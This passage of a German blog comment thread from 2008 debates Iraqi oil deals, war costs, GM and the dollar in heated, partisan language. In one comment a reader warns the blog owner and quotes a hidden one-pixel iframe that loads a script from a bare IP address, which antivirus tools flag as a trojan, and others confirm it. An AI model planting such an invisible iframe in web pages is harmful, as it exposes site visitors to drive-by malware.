    Wenn Du ein wenig irgend etwas wissen würdest, dann das jenes Delphi und General Motors Thema nicht erst seit neuestem, sondern (Gewerkschaftskämpfe und Gläubigerschutz, da war doch was, oder Corax ?) schon seit fast zwei Jahren (!) auf der Insolvenzwelle schwimmt, aber davon scheint das kleine Corax nichts bemerkt zu haben.

    Was du weisst, hast du mal mit deinem Kommentar nachgewiesen und solltest damit weitermachen ;)

    Der aktutelle Dollarkurs schadet Europa mehr, als den Vereinigten Staaten: auch aus ganz verschwiedenen ökonomischen Ursachen, aber das begreifst du vielleicht einfach nicht ;)

  24. Schwitzig am 7. Juli 2008 um 05:53 - - Permalink

    @corax

    Komisch. Ich dachte GM wäre gerade im Gespräch für eine Pleite.
    Spritfressende Riesenkarren zu bauen bei steigenden Ölpreisen, ist natürlich ein prima Geschäftsmodell.
    Jetzt weiß ich endgültig, was ich von deinen Aussagen zur Wirtschaft halten soll.

    Merci. :-)

    Naja, grundsätzlich halte ich jeden, der Aussagen zur Wirtschaft macht, erstmal für suspekt – egal auf welcher “Seite” er sich gerade befindet, denn mittlerweile ist “Die Wirtschaft” (und deren Interpretation, was die Qualität dieser üblen Religion zeigt) nicht mehr für den Menschen, sondern der Mensch für “Die Wirtschaft” da.
    Leute, die mit Geld rechnen, genießen bei mir privat ungefähr das Ansehen der Mücke, die ich an der Wand zerschlage – aber das ist völlig OT :-).
    “name” ist manchmal schon etwas abstrus, aber der SF ist mit seinen “Sachzwängen”, die er nicht als solche formuliert, gerne mal sehr bestimmend rechthaberisch und von der Richtigkeit seiner Thesen zur Religion Geld überzeugt. Andererseits nimmt er sich von schlagkräftigen Argumenten ab und zu aber auch etwas an :-).
    Zum Thema:
    Ich denke, dass das Vertragschaos aus der Perspektive der Amis darauf zurückzuführen ist, dass sich die Bush/Cheney-Bagage auch ohne Exklusivrechte dumm und dämlich verdient hat und das Öl im Moment eher ein Nebenkriegsschauplatz für die Gierigen im Amiland ist. Wenn sie da wieder ordentlich Reibach machen wollen, bin ich mir zu 100% sicher, dass sie wieder einen Grund finden, das Land zu “demokratisieren”. Z.B. “Korruptionsbekämpfung” durch “Mini”nukes. Skrupel, Ethik oder Fairness ist wohl das letzte, was man von den Amiregierungen erwarten darf. Ich glaube nicht an einen “Masterplan”, sondern an gierige Drecksäcke, die dumm und eklig über Leichen gehen, damit sie selbst (vermeintlich) einen Vorteil haben. “Verschwörungen” in diesem Sinne gibt es sicherlich, nur sind es heutzutage keine Verschwörungen, sondern “bilaterale Gespräche” oder “Lobbyaktivitäten”. Wir müssen den “richtigen” Duktus für so etwas gebrauchen :-).
    Nehmen wir ein Beispiel: Die Deutsche Bank und ihre Lebensmittelfonds. So etwas (wie generell auch Aktienhandel) qualifiziert die Entwerfer als auch die Käufer in meinen Augen für die Guilliotine. Heutzutage nennt man das Handel.

  25. Peinhard am 7. Juli 2008 um 12:56 - - Permalink

    @Schwitzig – rechnest du etwa nicht mit Geld? Vielleicht sollte man mal eine Kampagne ‘Du bist Kapitalismus’ auflegen…

  26. firefly am 7. Juli 2008 um 15:17 - - Permalink

    Der aktutelle Dollarkurs schadet Europa mehr, als den Vereinigten Staaten: auch aus ganz verschwiedenen ökonomischen Ursachen, aber das begreifst du vielleicht einfach nicht ;)

    Das glaubst du ja selbst nicht. Der Aussenwert spiegelt den Zustand einer Ökonomie wieder. Und da scheint es in den USA wohl nicht allzu rosig auszusehen. Für uns Europäer hat ein schwacher Dollar sowohl Vor- als auch Nachteile. Für die Amerikaner aber hat er im Prinzip nur Nachteile. Über kurz oder lang wird er mit einem sinkenden Lebensstandard vieler Amerikaner einhergehen.

  27. corax am 7. Juli 2008 um 15:36 - - Permalink

    @ name

    Der aktutelle Dollarkurs schadet Europa mehr, als den Vereinigten Staaten

    Das kommt drauf an welcher Industriezweig, der Maschinenbau leidet ganz sicher, andere weniger, manche profitieren sogar, unterm Strich würde ich dir da sogar zustimmen.

    Aber du führtest oben an, das ein hoher Ölpreis europäischischem Autoexport schadet, wo doch das Gegenteil der Fall ist, gerade die Amerikaner steigen jetzt massenhaft auf sparsamere ausländische Modelle um, was vor ein paar Jahren ja niemand für möglich hielt.

    Und deine Aussage zur Zufriedenheit der Amerikaner, dazu fällt mir gar nix mehr ein.

  28. salvo am 7. Juli 2008 um 16:17 - - Permalink

    @Jens

    hast du den Artikel von Pepe Escobar auf Asia Times gelesen?

    http://www.atimes.com/atimes/Middle_East/JG04Ak03.html

    der scheint das anders einzuschätzen als du

    wie auch Naomi Klein im oben verlinkten Artikel

  29. people in motion am 7. Juli 2008 um 17:02 - - Permalink

    Zur Ölförderung im Irak war jetzt auch ein guter Artikel in der Zeit; wird bestimmt auch online stehen. Der hatte den Titel “Die Welt muss noch warten”.

    Der Irakkrieg ein Erfolg für die USA?? Laut Joseph Stiglitz und Linda Biles (“Die wahren Kosten des Krieges – Wirtschaftliche und politische Folgen des Irak-Konflikts”) belaufen sich die volkswirtschaftlichen Gesamtkosten selbst bei einer günstigen Berechnung auf über 2 Billionen Dollar. Das ist nicht nur für die USA ein ökonomischer Nackenschlag, sodern hat negative Auswirkungen auf die gesamte Weltwirtschaft.

  30. salvo am 8. Juli 2008 um 09:29 - - Permalink

    @29

    der Krieg ist sicher eine menschlich verantwortete Katastrophe, in erster Linie für die Iraker, den sie direkt erleiden, aber auch für alle anderen, auf deren Rücken er finanziert wird. Aber es verdienen auch einige daran, gerade der US-militärisch-industrielle Komplex

    zum Topic, zwei aktuelle Artikel in the nation

    Maliki Stunner: He wants US Pullout Timetable

    http://www.thenation.com/blogs/dreyfuss/334991

    Iraq Reconstruction Corruption

    http://www.thenation.com/blogs/edcut/335122

  31. people in motion am 8. Juli 2008 um 19:54 - - Permalink

    Wer auf jeden Fall auch nicht schlecht am Krieg verdient hat sind die privaten “Sicherheitsfirmen”. Überhaupt halte ich die Entwicklung hin zu einer Privatisierung solcher höchst sensibeler Bereiche für äußerst bedenklich, da diese privaten Firmen keiner staatlichen Kontrolle unterliegen. Sie repräsentieren zwar, zum Beispiel für die Iraker, die Besatzungs- oder etwas positiver formuliert Befreiungsmacht, dennoch müssen sie keine Rechenschaft ablegen. Ferner ist auch das Völkerrecht auf diese Form der Kriegsbeteiligung nicht angepasst.

  32. algore am 8. Juli 2008 um 22:28 - - Permalink

    hier ist nochmal was interessantes:

    http://www.tomdispatch.com/post/174952/nick_turse_the_bush_administration_strikes_oil_in_iraq

  33. salvo am 9. Juli 2008 um 10:13 - - Permalink

    noch ein Hinweis auf eine andere Sicht

    das Beziehungsgeflecht zwischen irakischen Offiziellen, der US-Regierung, dem Pentagon und ‘Big Oil’ wird beleuchtet

    “It’s no secret that the Pentagon relies on vast quantities of oil to power the ships, planes, helicopters, heavy armor and other ground vehicles essential to its occupation of Iraq, nor that it regularly pays out vast sums of taxpayer dollars to the very companies that US advisors have aided in working out oil deals with the Iraq Oil Ministry. Despite ample evidence of the Pentagon connection, this circular and mutually reinforcing relationship has been almost totally ignored in the mainstream media. But think of it this way: your tax dollars have given the Pentagon the opportunity to use up oil–bought from the oil majors, in prodigious quantities–in order to create a situation in Iraq in which those same majors will soon receive no-bid contracts to make money off the Iraqi oil industry and, if all goes well, get far better, longer-term deals in the near future.”

    http://www.thenation.com/doc/20080721/turse

  34. escii am 10. Juli 2008 um 00:51 - - Permalink

    War is peace – freedom is slavery – ignorance is strength. Diese altbekannten Thesen gelten doch im Netz, in jeder Firma und im Privatleben als Grundregel. So ist es hierbei halt auch.

  35. sm am 11. Juli 2008 um 07:27 - - Permalink

    Hallo Jens,

    da ich leider keine Mail-Adresse von dir finden konnte, poste ich das hier, und koennte uU ja auch fuer andere interessant sein:
    Beim Oeffnen deines Blogs meldet mir avast! eine Viren-Warnung von der Stats-Seite aus folgendem Stats-iframe:

    iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0

    avast! meldet:
    Malware name: VBS:Malware-gen
    Malware type: Virus/Worm
    VPS version: 080711-0, 11/07/2008

    MfG,
    Simon

  36. salvo am 11. Juli 2008 um 08:45 - - Permalink

    Hallo Jens,

    kann ich bestätigen. Der McAffee VirusScan meldet auch, dass er den Virus VBS/Psyme Torjan gefunden hat

  37. Peinhard am 11. Juli 2008 um 10:10 - - Permalink

    NOD geht ebenfalls von einem Trojaner in wp-stats.php aus.

  38. Armin am 11. Juli 2008 um 12:39 - - Permalink

    Ist das endlich der “Bundestrojaner”? Mir wird ebenfalls ein Schädling gemeldet (TR/Dldr.HTML.Agent.IS).

  39. ehle am 11. Juli 2008 um 17:13 - - Permalink

    Jetzt wird mir einiges klar. Ich durchstöberte gerade die Kommentare, als sich folgendes Gespräch zwischen mir und meiner (z.Z. leider imaginären) Freundin ergab:

    “Wir sind die Toten”, sagte ich.
    “Wir sind die Toten”, betete Julia getreulich nach.
    “Ihr seid die Toten”, sagte eine eiserne Stimme vor uns.
    Wir fuhren auseinander, ich fühlte meine Eingeweide zu Eis erstarren. Julias Gesicht hatte sich milchiggelb verfärbt.
    “Ihr seid die Toten”, wiederholte die eiserne Stimme.
    “Es kam hinter dem Monitor hervor”, flüsterte Julia.
    “Es kam hinter dem Monitor hervor”, sagte die Stimme. “Bleibt genau da sitzen, wo ihr seid. Macht keine Bewegung, ehe es euch befohlen wird.”

    Soviel zum Spiegelfechter/Bundestrojaner.

    Zu dieser Diskussion:
    Wenn man mein Fachwissen im Bereich Wirtschaft und Politik mit Wasser messen wollte, so käme man auf -273°C. Das mal Vorweg…

    Ich halte es für falsch den Erfolg eines Krieges (kann ein Krieg überhaupt erfolgreich sein?!) an dem daraus resultierenden Vorteil bzw. Nachteil der Bevölkerung zu werten. Ich glaube die Sinnlosigkeit dessen ist hier auch jedem klar. Außerdem trägt eine Betrachung der gesamten US-Wirtschaft auch nicht gerade dem Verständnis bei, statt dessen geht es um den Gewinn einzelner Unternehmen. Weiterhin muss so ein Gewinn nicht direkt erzielt werden, es reicht aus wenn er abzusehen ist.

    Wenn ich in der Schule richtig aufgepasst habe, baut die gesamte Wirtschaft auf die Erschließung neuer Märkte auf. Da es inzwischen kein Land mehr gibt, welches als neuer Markt dienen könnte werden diese künstlich erschaffen. So ist das z.b. beim Klimawandel der Fall. Das ist ein riesiger neuer Markt, von alternativer Energiegewinnung bis zum Biosprit. Deshalb ist es für bestimmte Unternehmen Sinnvoll weniger Öl zu fördern. Wenn das der Fall sein sollte wäre der Irak-Krieg ein voller Erfolg: Weniger Öl bedeutet mehr Biosprit – daraus ergibt sich ein riesen Gewinn für Unternehmen wie Monsanto (wo übrigens auch der ein oder andere US-Politiker im Vorstand sitzt).

    Grüße,
    ehLe

  40. corax am 12. Juli 2008 um 01:20 - - Permalink

    KIS,

    ist auch nicht glücklich.

    http://www.abload.de/img/spiegelfechtervirus667.jpg

  41. Bolli am 12. Juli 2008 um 13:01 - - Permalink

    ich habe das Problem zwar nicht – wahrscheinlich weil ich nicht als Admin surfe.
    Auf diesem Blog gibt es jedoch wichtige Hinweise dazu: http://grosenbaum.wordpress.com/2008/01/23/boser-code-im-wordpress-blog/

    Edit: Achtung auf Google wird schon eine Warnung ausgegeben: http://www.abload.de/image.php?img=spiegelfechter0yf.jpg

  42. algore am 12. Juli 2008 um 22:08 - - Permalink

    hier ein wenig chomsky zu dem thema. Die Ölfirmen werden zumindest im amerikanischen Internet sehr kontrovers diskutiert:

    http://www.alternet.org/waroniraq/91123/

  43. John am 13. Juli 2008 um 11:55 - - Permalink

    http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=de&site=http://www.spiegelfechter.com/wordpress/


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